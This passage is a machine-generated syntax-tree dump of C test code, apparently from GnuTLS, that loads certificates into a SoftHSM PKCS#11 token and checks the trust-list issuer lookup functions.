"[" (identifier) "j" (]) "]" (;) ";" (expression_statement) "tmp.size = strlen(chains[idx].chain[j]);" (assignment_expression) "tmp.size = strlen(chains[idx].chain[j])" (field_expression) "tmp.size" (identifier) "tmp" (.) "." (field_identifier) "size" (=) "=" (call_expression) "strlen(chains[idx].chain[j])" (identifier) "strlen" (argument_list) "(chains[idx].chain[j])" (() "(" (subscript_expression) "chains[idx].chain[j]" (field_expression) "chains[idx].chain" (subscript_expression) "chains[idx]" (identifier) "chains" ([) "[" (identifier) "idx" (]) "]" (.) "." (field_identifier) "chain" ([) "[" (identifier) "j" (]) "]" ()) ")" (;) ";" (expression_statement) "ret =\n gnutls_x509_crt_import(certs[j], &tmp,\n GNUTLS_X509_FMT_PEM);" (assignment_expression) "ret =\n gnutls_x509_crt_import(certs[j], &tmp,\n GNUTLS_X509_FMT_PEM)" (identifier) "ret" (=) "=" (call_expression) "gnutls_x509_crt_import(certs[j], &tmp,\n GNUTLS_X509_FMT_PEM)" (identifier) "gnutls_x509_crt_import" (argument_list) "(certs[j], &tmp,\n GNUTLS_X509_FMT_PEM)" (() "(" (subscript_expression) "certs[j]" (identifier) "certs" ([) "[" (identifier) "j" (]) "]" (,) "," (pointer_expression) "&tmp" (&) "&" (identifier) "tmp" (,) "," (identifier) "GNUTLS_X509_FMT_PEM" ()) ")" (;) ";" (if_statement) "if (debug > 2)\n printf("done\n");" (if) "if" (parenthesized_expression) "(debug > 2)" (() "(" (binary_expression) "debug > 2" (identifier) "debug" (>) ">" (number_literal) "2" ()) ")" (expression_statement) "printf("done\n");" (call_expression) "printf("done\n")" (identifier) "printf" (argument_list) "("done\n")" (() "(" (string_literal) ""done\n"" (") """ (string_content) "done" (escape_sequence) "\n" (") """ ()) ")" (;) ";" (if_statement) "if (ret < 0) {\n fprintf(stderr,\n "gnutls_x509_crt_import[%s,%d]: %s\n",\n chains[idx].name, (int) j,\n gnutls_strerror(ret));\n exit(1);\n }" (if) "if" (parenthesized_expression) "(ret < 0)" (() "(" (binary_expression) "ret < 0" (identifier) "ret" (<) "<" (number_literal) "0" ()) ")" (compound_statement) "{\n fprintf(stderr,\n "gnutls_x509_crt_import[%s,%d]: %s\n",\n chains[idx].name, (int) j,\n gnutls_strerror(ret));\n exit(1);\n }" ({) "{" (expression_statement) "fprintf(stderr,\n "gnutls_x509_crt_import[%s,%d]: %s\n",\n chains[idx].name, (int) j,\n gnutls_strerror(ret));" (call_expression) "fprintf(stderr,\n "gnutls_x509_crt_import[%s,%d]: %s\n",\n chains[idx].name, (int) j,\n gnutls_strerror(ret))" (identifier) "fprintf" (argument_list) "(stderr,\n "gnutls_x509_crt_import[%s,%d]: %s\n",\n chains[idx].name, (int) j,\n gnutls_strerror(ret))" (() "(" (identifier) "stderr" (,) "," (string_literal) ""gnutls_x509_crt_import[%s,%d]: %s\n"" (") """ (string_content) "gnutls_x509_crt_import[%s,%d]: %s" (escape_sequence) "\n" (") """ (,) "," (field_expression) "chains[idx].name" (subscript_expression) "chains[idx]" (identifier) "chains" ([) "[" (identifier) "idx" (]) "]" (.) "." (field_identifier) "name" (,) "," (cast_expression) "(int) j" (() "(" (type_descriptor) "int" (primitive_type) "int" ()) ")" (identifier) "j" (,) "," (call_expression) "gnutls_strerror(ret)" (identifier) "gnutls_strerror" (argument_list) "(ret)" (() "(" (identifier) "ret" ()) ")" ()) ")" (;) ";" (expression_statement) "exit(1);" (call_expression) "exit(1)" (identifier) "exit" (argument_list) "(1)" (() "(" (number_literal) "1" ()) ")" (;) ";" (}) "}" (expression_statement) "gnutls_x509_crt_print(certs[j],\n GNUTLS_CRT_PRINT_ONELINE,\n &tmp);" (call_expression) "gnutls_x509_crt_print(certs[j],\n GNUTLS_CRT_PRINT_ONELINE,\n &tmp)" (identifier) "gnutls_x509_crt_print" (argument_list) "(certs[j],\n GNUTLS_CRT_PRINT_ONELINE,\n &tmp)" (() "(" (subscript_expression) "certs[j]" (identifier) "certs" ([) "[" (identifier) "j" (]) "]" (,) "," (identifier) "GNUTLS_CRT_PRINT_ONELINE" (,) "," (pointer_expression) "&tmp" (&) "&" (identifier) "tmp" ()) ")" (;) ";" (if_statement) "if (debug)\n printf("\tCertificate %d: %.*s\n", (int) j,\n tmp.size, tmp.data);" (if) "if" (parenthesized_expression) "(debug)" (() "(" (identifier) "debug" ()) ")" (expression_statement) "printf("\tCertificate %d: %.*s\n", (int) j,\n tmp.size, tmp.data);" (call_expression) "printf("\tCertificate %d: %.*s\n", (int) j,\n tmp.size, tmp.data)" (identifier) "printf" (argument_list) "("\tCertificate %d: %.*s\n", (int) j,\n tmp.size, tmp.data)" (() "(" (string_literal) ""\tCertificate %d: %.*s\n"" (") """ (escape_sequence) "\t" (string_content) "Certificate %d: %.*s" (escape_sequence) "\n" (") """ (,) "," (cast_expression) "(int) j" (() "(" (type_descriptor) "int" (primitive_type) "int" ()) ")" (identifier) "j" (,) "," (field_expression) "tmp.size" (identifier) "tmp" (.) "." (field_identifier) "size" (,) "," (field_expression) "tmp.data" (identifier) "tmp" (.) "." (field_identifier) "data" ()) ")" (;) ";" (expression_statement) "gnutls_free(tmp.data);" (call_expression) "gnutls_free(tmp.data)" (identifier) "gnutls_free" (argument_list) "(tmp.data)" (() "(" (field_expression) "tmp.data" (identifier) "tmp" (.) "." (field_identifier) "data" ()) ")" (;) ";" (}) "}" (if_statement) "if (debug > 2)\n printf("\tAdding CA certificate...");" (if) "if" (parenthesized_expression) "(debug > 2)" (() "(" (binary_expression) "debug > 2" (identifier) "debug" (>) ">" (number_literal) "2" ()) ")" (expression_statement) "printf("\tAdding CA certificate...");" (call_expression) "printf("\tAdding CA certificate...")" (identifier) "printf" (argument_list) "("\tAdding CA certificate...")" (() "(" (string_literal) ""\tAdding CA certificate..."" (") """ (escape_sequence) "\t" (string_content) "Adding CA certificate..." (") """ ()) ")" (;) ";" (expression_statement) "ret = gnutls_x509_crt_init(&ca);" (assignment_expression) "ret = gnutls_x509_crt_init(&ca)" (identifier) "ret" (=) "=" (call_expression) "gnutls_x509_crt_init(&ca)" (identifier) "gnutls_x509_crt_init" (argument_list) "(&ca)" (() "(" (pointer_expression) "&ca" (&) "&" (identifier) "ca" ()) ")" (;) ";" (if_statement) "if (ret < 0) {\n fprintf(stderr, "gnutls_x509_crt_init: %s\n",\n gnutls_strerror(ret));\n exit(1);\n }" (if) "if" (parenthesized_expression) "(ret < 0)" (() "(" (binary_expression) "ret < 0" (identifier) "ret" (<) "<" (number_literal) "0" ()) ")" (compound_statement) "{\n fprintf(stderr, "gnutls_x509_crt_init: %s\n",\n gnutls_strerror(ret));\n exit(1);\n }" ({) "{" (expression_statement) "fprintf(stderr, "gnutls_x509_crt_init: %s\n",\n gnutls_strerror(ret));" (call_expression) "fprintf(stderr, "gnutls_x509_crt_init: %s\n",\n gnutls_strerror(ret))" (identifier) "fprintf" (argument_list) "(stderr, "gnutls_x509_crt_init: %s\n",\n gnutls_strerror(ret))" (() "(" (identifier) "stderr" (,) "," (string_literal) ""gnutls_x509_crt_init: %s\n"" (") """ (string_content) "gnutls_x509_crt_init: %s" (escape_sequence) "\n" (") """ (,) "," (call_expression) "gnutls_strerror(ret)" (identifier) "gnutls_strerror" (argument_list) "(ret)" (() "(" (identifier) "ret" ()) ")" ()) ")" (;) ";" (expression_statement) "exit(1);" (call_expression) "exit(1)" (identifier) "exit" (argument_list) "(1)" (() "(" (number_literal) "1" ()) ")" (;) ";" (}) "}" (expression_statement) "tmp.data = (unsigned char *) *chains[idx].ca;" (assignment_expression) "tmp.data = (unsigned char *) *chains[idx].ca" (field_expression) "tmp.data" (identifier) "tmp" (.) "." (field_identifier) "data" (=) "=" (cast_expression) "(unsigned char *) *chains[idx].ca" (() "(" (type_descriptor) "unsigned char *" (sized_type_specifier) "unsigned char" (unsigned) "unsigned" (primitive_type) "char" (abstract_pointer_declarator) "*" (*) "*" ()) ")" (pointer_expression) "*chains[idx].ca" (*) "*" (field_expression) "chains[idx].ca" (subscript_expression) "chains[idx]" (identifier) "chains" ([) "[" (identifier) "idx" (]) "]" (.) "." (field_identifier) "ca" (;) ";" (expression_statement) "tmp.size = strlen(*chains[idx].ca);" (assignment_expression) "tmp.size = strlen(*chains[idx].ca)" (field_expression) "tmp.size" (identifier) "tmp" (.) "." (field_identifier) "size" (=) "=" (call_expression) "strlen(*chains[idx].ca)" (identifier) "strlen" (argument_list) "(*chains[idx].ca)" (() "(" (pointer_expression) "*chains[idx].ca" (*) "*" (field_expression) "chains[idx].ca" (subscript_expression) "chains[idx]" (identifier) "chains" ([) "[" (identifier) "idx" (]) "]" (.) "." (field_identifier) "ca" ()) ")" (;) ";" (expression_statement) "ret =\n gnutls_x509_crt_import(ca, &tmp, GNUTLS_X509_FMT_PEM);" (assignment_expression) "ret =\n gnutls_x509_crt_import(ca, &tmp, GNUTLS_X509_FMT_PEM)" (identifier) "ret" (=) "=" (call_expression) "gnutls_x509_crt_import(ca, &tmp, GNUTLS_X509_FMT_PEM)" (identifier) "gnutls_x509_crt_import" (argument_list) "(ca, &tmp, GNUTLS_X509_FMT_PEM)" (() "(" (identifier) "ca" (,) "," (pointer_expression) "&tmp" (&) "&" (identifier) "tmp" (,) "," (identifier) "GNUTLS_X509_FMT_PEM" ()) ")" (;) ";" (if_statement) "if (ret < 0) {\n fprintf(stderr, "gnutls_x509_crt_import: %s\n",\n gnutls_strerror(ret));\n exit(1);\n }" (if) "if" (parenthesized_expression) "(ret < 0)" (() "(" (binary_expression) "ret < 0" (identifier) "ret" (<) "<" (number_literal) "0" ()) ")" (compound_statement) "{\n fprintf(stderr, "gnutls_x509_crt_import: %s\n",\n gnutls_strerror(ret));\n exit(1);\n }" ({) "{" (expression_statement) "fprintf(stderr, "gnutls_x509_crt_import: %s\n",\n gnutls_strerror(ret));" (call_expression) "fprintf(stderr, "gnutls_x509_crt_import: %s\n",\n gnutls_strerror(ret))" (identifier) "fprintf" (argument_list) "(stderr, "gnutls_x509_crt_import: %s\n",\n gnutls_strerror(ret))" (() "(" (identifier) "stderr" (,) "," (string_literal) ""gnutls_x509_crt_import: %s\n"" (") """ (string_content) "gnutls_x509_crt_import: %s" (escape_sequence) "\n" (") """ (,) "," (call_expression) "gnutls_strerror(ret)" (identifier) "gnutls_strerror" (argument_list) "(ret)" (() "(" (identifier) "ret" ()) ")" ()) ")" (;) ";" (expression_statement) "exit(1);" (call_expression) "exit(1)" (identifier) "exit" (argument_list) "(1)" (() "(" (number_literal) "1" ()) ")" (;) ";" (}) "}" (if_statement) "if (debug > 2)\n printf("done\n");" (if) "if" (parenthesized_expression) "(debug > 2)" (() "(" (binary_expression) "debug > 2" (identifier) "debug" (>) ">" (number_literal) "2" ()) ")" (expression_statement) "printf("done\n");" (call_expression) "printf("done\n")" (identifier) "printf" (argument_list) "("done\n")" (() "(" (string_literal) ""done\n"" (") """ (string_content) "done" (escape_sequence) "\n" (") """ ()) ")" (;) ";" (expression_statement) "gnutls_x509_crt_print(ca, GNUTLS_CRT_PRINT_ONELINE, &tmp);" (call_expression) "gnutls_x509_crt_print(ca, GNUTLS_CRT_PRINT_ONELINE, &tmp)" (identifier) "gnutls_x509_crt_print" (argument_list) "(ca, GNUTLS_CRT_PRINT_ONELINE, &tmp)" (() "(" (identifier) "ca" (,) "," (identifier) "GNUTLS_CRT_PRINT_ONELINE" (,) "," (pointer_expression) "&tmp" (&) "&" (identifier) "tmp" ()) ")" (;) ";" (if_statement) "if (debug)\n printf("\tCA Certificate: %.*s\n", tmp.size,\n tmp.data);" (if) "if" (parenthesized_expression) "(debug)" (() "(" (identifier) "debug" ()) ")" (expression_statement) "printf("\tCA Certificate: %.*s\n", tmp.size,\n tmp.data);" (call_expression) "printf("\tCA Certificate: %.*s\n", tmp.size,\n tmp.data)" (identifier) "printf" (argument_list) "("\tCA Certificate: %.*s\n", tmp.size,\n tmp.data)" (() "(" (string_literal) ""\tCA Certificate: %.*s\n"" (") """ (escape_sequence) "\t" (string_content) "CA Certificate: %.*s" (escape_sequence) "\n" (") """ (,) "," (field_expression) "tmp.size" (identifier) "tmp" (.) "." (field_identifier) "size" (,) "," (field_expression) "tmp.data" (identifier) "tmp" (.) "." (field_identifier) "data" ()) ")" (;) ";" (expression_statement) "gnutls_free(tmp.data);" (call_expression) "gnutls_free(tmp.data)" (identifier) "gnutls_free" (argument_list) "(tmp.data)" (() "(" (field_expression) "tmp.data" (identifier) "tmp" (.) "." (field_identifier) "data" ()) ")" (;) ";" (if_statement) "if (debug)\n printf("\tVerifying...");" (if) "if" (parenthesized_expression) "(debug)" (() "(" (identifier) "debug" ()) ")" (expression_statement) "printf("\tVerifying...");" (call_expression) "printf("\tVerifying...")" (identifier) "printf" (argument_list) "("\tVerifying...")" (() "(" (string_literal) ""\tVerifying..."" (") """ (escape_sequence) "\t" (string_content) "Verifying..." (") """ ()) ")" (;) ";" (comment) "/* initialize softhsm token */" (expression_statement) "ret = gnutls_pkcs11_token_init(SOFTHSM_URL, PIN, "test");" (assignment_expression) "ret = gnutls_pkcs11_token_init(SOFTHSM_URL, PIN, "test")" (identifier) "ret" (=) "=" (call_expression) "gnutls_pkcs11_token_init(SOFTHSM_URL, PIN, "test")" (identifier) "gnutls_pkcs11_token_init" (argument_list) "(SOFTHSM_URL, PIN, "test")" (() "(" (identifier) "SOFTHSM_URL" (,) "," (identifier) "PIN" (,) "," (string_literal) ""test"" (") """ (string_content) "test" (") """ ()) ")" (;) ";" (if_statement) "if (ret < 0) {\n fail("gnutls_pkcs11_token_init\n");\n exit(1);\n }" (if) "if" (parenthesized_expression) "(ret < 0)" (() "(" (binary_expression) "ret < 0" (identifier) "ret" (<) "<" (number_literal) "0" ()) ")" (compound_statement) "{\n fail("gnutls_pkcs11_token_init\n");\n exit(1);\n }" ({) "{" (expression_statement) "fail("gnutls_pkcs11_token_init\n");" (call_expression) "fail("gnutls_pkcs11_token_init\n")" (identifier) "fail" (argument_list) "("gnutls_pkcs11_token_init\n")" (() "(" (string_literal) ""gnutls_pkcs11_token_init\n"" (") """ (string_content) "gnutls_pkcs11_token_init" (escape_sequence) "\n" (") """ ()) ")" (;) ";" (expression_statement) "exit(1);" (call_expression) "exit(1)" (identifier) "exit" (argument_list) "(1)" (() "(" (number_literal) "1" ()) ")" (;) ";" (}) "}" (comment) "/* write CA certificate to softhsm */" (expression_statement) "ret = gnutls_pkcs11_copy_x509_crt(SOFTHSM_URL, ca, "test-ca", GNUTLS_PKCS11_OBJ_FLAG_MARK_TRUSTED|GNUTLS_PKCS11_OBJ_FLAG_LOGIN_SO);" (assignment_expression) "ret = gnutls_pkcs11_copy_x509_crt(SOFTHSM_URL, ca, "test-ca", GNUTLS_PKCS11_OBJ_FLAG_MARK_TRUSTED|GNUTLS_PKCS11_OBJ_FLAG_LOGIN_SO)" (identifier) "ret" (=) "=" (call_expression) "gnutls_pkcs11_copy_x509_crt(SOFTHSM_URL, ca, "test-ca", GNUTLS_PKCS11_OBJ_FLAG_MARK_TRUSTED|GNUTLS_PKCS11_OBJ_FLAG_LOGIN_SO)" (identifier) "gnutls_pkcs11_copy_x509_crt" (argument_list) "(SOFTHSM_URL, ca, "test-ca", GNUTLS_PKCS11_OBJ_FLAG_MARK_TRUSTED|GNUTLS_PKCS11_OBJ_FLAG_LOGIN_SO)" (() "(" (identifier) "SOFTHSM_URL" (,) "," (identifier) "ca" (,) "," (string_literal) ""test-ca"" (") """ (string_content) "test-ca" (") """ (,) "," (binary_expression) "GNUTLS_PKCS11_OBJ_FLAG_MARK_TRUSTED|GNUTLS_PKCS11_OBJ_FLAG_LOGIN_SO" (identifier) "GNUTLS_PKCS11_OBJ_FLAG_MARK_TRUSTED" (|) "|" (identifier) "GNUTLS_PKCS11_OBJ_FLAG_LOGIN_SO" ()) ")" (;) ";" (if_statement) "if (ret < 0) {\n fail("gnutls_pkcs11_copy_x509_crt: %s\n", gnutls_strerror(ret));\n exit(1);\n }" (if) "if" (parenthesized_expression) "(ret < 0)" (() "(" (binary_expression) "ret < 0" (identifier) "ret" (<) "<" (number_literal) "0" ()) ")" (compound_statement) "{\n fail("gnutls_pkcs11_copy_x509_crt: %s\n", gnutls_strerror(ret));\n exit(1);\n }" ({) "{" (expression_statement) "fail("gnutls_pkcs11_copy_x509_crt: %s\n", gnutls_strerror(ret));" (call_expression) "fail("gnutls_pkcs11_copy_x509_crt: %s\n", gnutls_strerror(ret))" (identifier) "fail" (argument_list) "("gnutls_pkcs11_copy_x509_crt: %s\n", gnutls_strerror(ret))" (() "(" (string_literal) ""gnutls_pkcs11_copy_x509_crt: %s\n"" (") """ (string_content) "gnutls_pkcs11_copy_x509_crt: %s" (escape_sequence) "\n" (") """ (,) "," (call_expression) "gnutls_strerror(ret)" (identifier) "gnutls_strerror" (argument_list) "(ret)" (() "(" (identifier) "ret" ()) ")" ()) ")" (;) ";" (expression_statement) "exit(1);" (call_expression) "exit(1)" (identifier) "exit" (argument_list) "(1)" (() "(" (number_literal) "1" ()) ")" (;) ";" (}) "}" (expression_statement) "gnutls_x509_trust_list_init(&tl, 0);" (call_expression) "gnutls_x509_trust_list_init(&tl, 0)" (identifier) "gnutls_x509_trust_list_init" (argument_list) "(&tl, 0)" (() "(" (pointer_expression) "&tl" (&) "&" (identifier) "tl" (,) "," (number_literal) "0" ()) ")" (;) ";" (expression_statement) "ret = gnutls_x509_trust_list_add_trust_file(tl, SOFTHSM_URL, NULL, 0, 0, 0);" (assignment_expression) "ret = gnutls_x509_trust_list_add_trust_file(tl, SOFTHSM_URL, NULL, 0, 0, 0)" (identifier) "ret" (=) "=" (call_expression) "gnutls_x509_trust_list_add_trust_file(tl, SOFTHSM_URL, NULL, 0, 0, 0)" (identifier) "gnutls_x509_trust_list_add_trust_file" (argument_list) "(tl, SOFTHSM_URL, NULL, 0, 0, 0)" (() "(" (identifier) "tl" (,) "," (identifier) "SOFTHSM_URL" (,) "," (null) "NULL" (NULL) "NULL" (,) "," (number_literal) "0" (,) "," (number_literal) "0" (,) "," (number_literal) "0" ()) ")" (;) ";" (if_statement) "if (ret < 0) {\n fail("gnutls_x509_trust_list_add_trust_file\n");\n exit(1);\n }" (if) "if" (parenthesized_expression) "(ret < 0)" (() "(" (binary_expression) "ret < 0" (identifier) "ret" (<) "<" (number_literal) "0" ()) ")" (compound_statement) "{\n fail("gnutls_x509_trust_list_add_trust_file\n");\n exit(1);\n }" ({) "{" (expression_statement) "fail("gnutls_x509_trust_list_add_trust_file\n");" (call_expression) "fail("gnutls_x509_trust_list_add_trust_file\n")" (identifier) "fail" (argument_list) "("gnutls_x509_trust_list_add_trust_file\n")" (() "(" (string_literal) ""gnutls_x509_trust_list_add_trust_file\n"" (") """ (string_content) "gnutls_x509_trust_list_add_trust_file" (escape_sequence) "\n" (") """ ()) ")" (;) ";" (expression_statement) "exit(1);" (call_expression) "exit(1)" (identifier) "exit" (argument_list) "(1)" (() "(" (number_literal) "1" ()) ")" (;) ";" (}) "}" (comment) "/* extract the issuer of the certificate */" (expression_statement) "issuer = NULL;" (assignment_expression) "issuer = NULL" (identifier) "issuer" (=) "=" (null) "NULL" (NULL) "NULL" (;) ";" (expression_statement) "ret = gnutls_x509_trust_list_get_issuer(tl, certs[2], &issuer, GNUTLS_TL_GET_COPY);" (assignment_expression) "ret = gnutls_x509_trust_list_get_issuer(tl, certs[2], &issuer, GNUTLS_TL_GET_COPY)" (identifier) "ret" (=) "=" (call_expression) "gnutls_x509_trust_list_get_issuer(tl, certs[2], &issuer, GNUTLS_TL_GET_COPY)" (identifier) "gnutls_x509_trust_list_get_issuer" (argument_list) "(tl, certs[2], &issuer, GNUTLS_TL_GET_COPY)" (() "(" (identifier) "tl" (,) "," (subscript_expression) "certs[2]" (identifier) "certs" ([) "[" (number_literal) "2" (]) "]" (,) "," (pointer_expression) "&issuer" (&) "&" (identifier) "issuer" (,) "," (identifier) "GNUTLS_TL_GET_COPY" ()) ")" (;) ";" (if_statement) "if (ret < 0) {\n fail("error in gnutls_x509_trust_list_get_issuer\n");\n exit(1);\n }" (if) "if" (parenthesized_expression) "(ret < 0)" (() "(" (binary_expression) "ret < 0" (identifier) "ret" (<) "<" (number_literal) "0" ()) ")" (compound_statement) "{\n fail("error in gnutls_x509_trust_list_get_issuer\n");\n exit(1);\n }" ({) "{" (expression_statement) "fail("error in gnutls_x509_trust_list_get_issuer\n");" (call_expression) "fail("error in gnutls_x509_trust_list_get_issuer\n")" (identifier) "fail" (argument_list) "("error in gnutls_x509_trust_list_get_issuer\n")" (() "(" (string_literal) ""error in gnutls_x509_trust_list_get_issuer\n"" (") """ (string_content) "error in gnutls_x509_trust_list_get_issuer" (escape_sequence) "\n" (") """ ()) ")" (;) ";" (expression_statement) "exit(1);" (call_expression) "exit(1)" (identifier) "exit" (argument_list) "(1)" (() "(" (number_literal) "1" ()) ")" (;) ";" (}) "}" (if_statement) "if (issuer == NULL) {\n fail("error in gnutls_x509_trust_list_get_issuer return value\n");\n exit(1);\n }" (if) "if" (parenthesized_expression) "(issuer == NULL)" (() "(" (binary_expression) "issuer == NULL" (identifier) "issuer" (==) "==" (null) "NULL" (NULL) "NULL" ()) ")" (compound_statement) "{\n fail("error in gnutls_x509_trust_list_get_issuer return value\n");\n exit(1);\n }" ({) "{" (expression_statement) "fail("error in gnutls_x509_trust_list_get_issuer return value\n");" (call_expression) "fail("error in gnutls_x509_trust_list_get_issuer return value\n")" (identifier) "fail" (argument_list) "("error in gnutls_x509_trust_list_get_issuer return value\n")" (() "(" (string_literal) ""error in gnutls_x509_trust_list_get_issuer return value\n"" (") """ (string_content) "error in gnutls_x509_trust_list_get_issuer return value" (escape_sequence) "\n" (") """ ()) ")" (;) ";" (expression_statement) "exit(1);" (call_expression) "exit(1)" (identifier) "exit" (argument_list) "(1)" (() "(" (number_literal) "1" ()) ")" (;) ";" (}) "}" (expression_statement) "gnutls_x509_crt_deinit(issuer);" (call_expression) "gnutls_x509_crt_deinit(issuer)" (identifier) "gnutls_x509_crt_deinit" (argument_list) "(issuer)" (() "(" (identifier) "issuer" ()) ")" (;) ";" (comment) "/* extract the issuer of the certificate using the non-thread-safe approach */" (expression_statement) "issuer = NULL;" (assignment_expression) "issuer = NULL" (identifier) "issuer" (=) "=" (null) "NULL" (NULL) "NULL" (;) ";" (expression_statement) "ret = gnutls_x509_trust_list_get_issuer(tl, certs[2], &issuer, 0);" (assignment_expression) "ret = gnutls_x509_trust_list_get_issuer(tl, certs[2], &issuer, 0)" (identifier) "ret" (=) "=" (call_expression) "gnutls_x509_trust_list_get_issuer(tl, certs[2], &issuer, 0)" (identifier) "gnutls_x509_trust_list_get_issuer" (argument_list) "(tl, certs[2], &issuer, 0)" (() "(" (identifier) "tl" (,) "," (subscript_expression) "certs[2]" (identifier) "certs" ([) "[" (number_literal) "2" (]) "]" (,) "," (pointer_expression) "&issuer" (&) "&" (identifier) "issuer" (,) "," (number_literal) "0" ()) ")" (;) ";" (if_statement) "if (ret < 0) {\n fail("error in gnutls_x509_trust_list_get_issuer\n");\n exit(1);\n }" (if) "if" (parenthesized_expression) "(ret < 0)" (() "(" (binary_expression) "ret < 0" (identifier) "ret" (<) "<" (number_literal) "0" ()) ")" (compound_statement) "{\n fail("error in gnutls_x509_trust_list_get_issuer\n");\n exit(1);\n }" ({) "{" (expression_statement) "fail("error in gnutls_x509_trust_list_get_issuer\n");" (call_expression) "fail("error in gnutls_x509_trust_list_get_issuer\n")" (identifier) "fail" (argument_list) "("error in gnutls_x509_trust_list_get_issuer\n")" (() "(" (string_literal) ""error in gnutls_x509_trust_list_get_issuer\n"" (") """ (string_content) "error in gnutls_x509_trust_list_get_issuer" (escape_sequence) "\n" (") """ ()) ")" (;) ";" (expression_statement) "exit(1);" (call_expression) "exit(1)" (identifier) "exit" (argument_list) "(1)" (() "(" (number_literal) "1" ()) ")" (;) ";" (}) "}" (if_statement) "if (issuer == NULL) {\n fail("error in gnutls_x509_trust_list_get_issuer return value\n");\n exit(1);\n }" (if) "if" (parenthesized_expression) "(issuer == NULL)" (() "(" (binary_expression) "issuer == NULL" (identifier) "issuer" (==) "==" (null) "NULL" (NULL) "NULL" ()) ")" (compound_statement) "{\n fail("error in gnutls_x509_trust_list_get_issuer return value\n");\n exit(1);\n }" ({) "{" (expression_statement) "fail("error in gnutls_x509_trust_list_get_issuer return value\n");" (call_expression) "fail("error in gnutls_x509_trust_list_get_issuer return value\n")" (identifier) "fail" (argument_list) "("error in gnutls_x509_trust_list_get_issuer return value\n")" (() "(" (string_literal) ""error in gnutls_x509_trust_list_get_issuer return value\n"" (") """ (string_content) "error in gnutls_x509_trust_list_get_issuer return value" (escape_sequence) "\n" (") """ ()) ")" (;) ";" (expression_statement) "exit(1);" (call_expression) "exit(1)" (identifier) "exit" (argument_list) "(1)" (() "(" (number_literal) "1" ()) ")" (;) ";" (}) "}" (comment) "/* extract (again) the issuer of the certificate - check for any leaks */" (expression_statement) "ret = gnutls_x509_trust_list_get_issuer(tl, certs[2], &issuer, 0);" (assignment_expression) "ret = gnutls_x509_trust_list_get_issuer(tl, certs[2], &issuer, 0)" (identifier) "ret" (=) "=" (call_expression) "gnutls_x509_trust_list_get_issuer(tl, certs[2], &issuer, 0)" (identifier) "gnutls_x509_trust_list_get_issuer" (argument_list) "(tl, certs[2], &issuer, 0)" (() "(" (identifier) "tl" (,) "," (subscript_expression) "certs[2]" (identifier) "certs" ([) "[" (number_literal) "2" (]) "]" (,) "," (pointer_expression) "&issuer" (&) "&" (identifier) "issuer" (,) "," (number_literal) "0" ()) ")" (;) ";" (if_statement) "if (ret < 0) {\n fail("error in gnutls_x509_trust_list_get_issuer\n");\n exit(1);\n }" (if) "if" (parenthesized_expression) "(ret < 0)" (() "(" (binary_expression) "ret < 0" (identifier) "ret" (<) "<" (number_literal) "0" ()) ")" (compound_statement) "{\n fail("error in gnutls_x509_trust_list_get_issuer\n");\n exit(1);\n }" ({) "{" (expression_statement) "fail("error in gnutls_x509_trust_list_get_issuer\n");" (call_expression) "fail("error in gnutls_x509_trust_list_get_issuer\n")" (identifier) "fail" (argument_list) "("error in gnutls_x509_trust_list_get_issuer\n")" (() "(" (string_literal) ""error in gnutls_x509_trust_list_get_issuer\n"" (") """ (string_content) "error in gnutls_x509_trust_list_get_issuer" (escape_sequence) "\n" (") """ ()) ")" (;) ";" (expression_statement) "exit(1);" (call_expression) "exit(1)" (identifier) "exit" (argument_list) "(1)" (() "(" (number_literal) "1" ()) ")" (;) ";" (}) "}" (comment) "/* Check gnutls_x509_trust_list_get_raw_issuer_by_dn */" (expression_statement) "ret = gnutls_x509_crt_get_raw_issuer_dn(certs[2], &tmp);" (assignment_expression) "ret = gnutls_x509_crt_get_raw_issuer_dn(certs[2], &tmp)" (identifier) "ret" (=) "=" (call_expression) "gnutls_x509_crt_get_raw_issuer_dn(certs[2], &tmp)" (identifier) "gnutls_x509_crt_get_raw_issuer_dn" (argument_list) "(certs[2], &tmp)" (() "(" (subscript_expression) "certs[2]" (identifier) "certs" ([) "[" (number_literal) "2" (]) "]" (,) "," (pointer_expression) "&tmp" (&) "&" (identifier) "tmp" ()) ")" (;) ";" (if_statement) "if (ret < 0) {\n fail("error in gnutls_x509_crt_get_raw_issuer_dn: %s\n", gnutls_strerror(ret));\n exit(1);\n }" (if) "if" (parenthesized_expression) "(ret < 0)" (() "(" (binary_expression) "ret < 0" (identifier) "ret" (<) "<" (number_literal) "0" ()) ")" (compound_statement) "{\n fail("error in gnutls_x509_crt_get_raw_issuer_dn: %s\n", gnutls_strerror(ret));\n exit(1);\n }" ({) "{" (expression_statement) "fail("error in gnutls_x509_crt_get_raw_issuer_dn: %s\n", gnutls_strerror(ret));" (call_expression) "fail("error in gnutls_x509_crt_get_raw_issuer_dn: %s\n", gnutls_strerror(ret))" (identifier) "fail" (argument_list) "("error in gnutls_x509_crt_get_raw_issuer_dn: %s\n", gnutls_strerror(ret))" (() "(" (string_literal) ""error in gnutls_x509_crt_get_raw_issuer_dn: %s\n"" (") """ (string_content) "error in gnutls_x509_crt_get_raw_issuer_dn: %s" (escape_sequence) "\n" (") """ (,) "," (call_expression) "gnutls_strerror(ret)" (identifier) "gnutls_strerror" (argument_list) "(ret)" (() "(" (identifier) "ret" ()) ")" ()) ")" (;) ";" (expression_statement) "exit(1);" (call_expression) "exit(1)" (identifier) "exit" (argument_list) "(1)" (() "(" (number_literal) "1" ()) ")" (;) ";" (}) "}" (expression_statement) "ret = gnutls_x509_trust_list_get_issuer_by_dn(tl, &tmp, &issuer, 0);" (assignment_expression) "ret = gnutls_x509_trust_list_get_issuer_by_dn(tl, &tmp, &issuer, 0)" (identifier) "ret" (=) "=" (call_expression) "gnutls_x509_trust_list_get_issuer_by_dn(tl, &tmp, &issuer, 0)" (identifier) "gnutls_x509_trust_list_get_issuer_by_dn" (argument_list) "(tl, &tmp, &issuer, 0)" (() "(" (identifier) "tl" (,) "," (pointer_expression) "&tmp" (&) "&" (identifier) "tmp" (,) "," (pointer_expression) "&issuer" (&) "&" (identifier) "issuer" (,) "," (number_literal) "0" ()) ")" (;) ";" (expression_statement) "gnutls_free(tmp.data);" (call_expression) "gnutls_free(tmp.data)" (identifier) "gnutls_free" (argument_list) "(tmp.data)" (() "(" (field_expression) "tmp.data" (identifier) "tmp" (.) "." (field_identifier) "data" ()) ")" (;) ";" (if_statement) "if (ret < 0) {\n fail("error in gnutls_x509_trust_list_get_issuer\n");\n exit(1);\n }" (if) "if" (parenthesized_expression) "(ret < 0)" (() "(" (binary_expression) "ret < 0" (identifier) "ret" (<) "<" (number_literal) "0" ()) ")" (compound_statement) "{\n fail("error in gnutls_x509_trust_list_get_issuer\n");\n exit(1);\n }" ({) "{" (expression_statement) 